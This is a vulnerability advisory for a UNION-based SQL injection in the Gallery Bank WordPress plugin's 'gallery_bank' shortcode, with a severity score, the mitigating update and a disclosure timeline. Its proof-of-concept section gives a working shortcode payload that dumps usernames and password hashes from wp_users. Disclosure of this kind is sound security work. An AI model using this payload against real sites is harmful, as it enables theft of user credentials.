Gallery Bank - Responsive Photo Gallery 3.0.101, SQL Injection
The Gallery Bank – Responsive Photo Gallery plugin exposes a Short Code named ‘gallery_bank’, in order to allow site publishers to insert galleries into pages / posts. This Short Code is vulnerable to a UNION based SQL Injection. This is possible by manipulating the field ‘show_albums’ when using this short code. This could allow any user who has access to edit, or publish pages or posts on a site to execute arbitrary SQL, and retrieve the output from such queries. While it could be said that if a user has access to edit or publish pages or posts on a WordPress site, this vulnerability would be the least of your worries, however it’s quite possible to restrict users access to such an extent that their editor level access would grant them very little to no exploitable privileges.
Homepage
https://wordpress.org/plugins/gallery-bank/
CVSS Score
4.9
CSSS Vector
(AV:N/AC:M/Au:S/C:P/I:P/A:N)
Attack Scope
remote
Authorization Required
Editor
Mitigation
Update to version 3.0.102.
Proof of Concept
The example usage of the Short Code below will result in a list of Usernames and Hashed Passwords being output into the HTML of the page or post it is used in
[gallery_bank type="grid" show_albums="0) union select 1,(select group_concat(concat_ws(':',wp_users.user_login,wp_users.user_pass)) from wp_users group by 1=1),3,4,5,(6" title="true"]Timeline
- 2015-02-13: Discovered
- 2015-02-13: Vendor notified
- 2015-02-14: Vendor responded
- 2015-02-14: Version 3.0.102 released – issue resolved
- 2015-02-21: Advisory released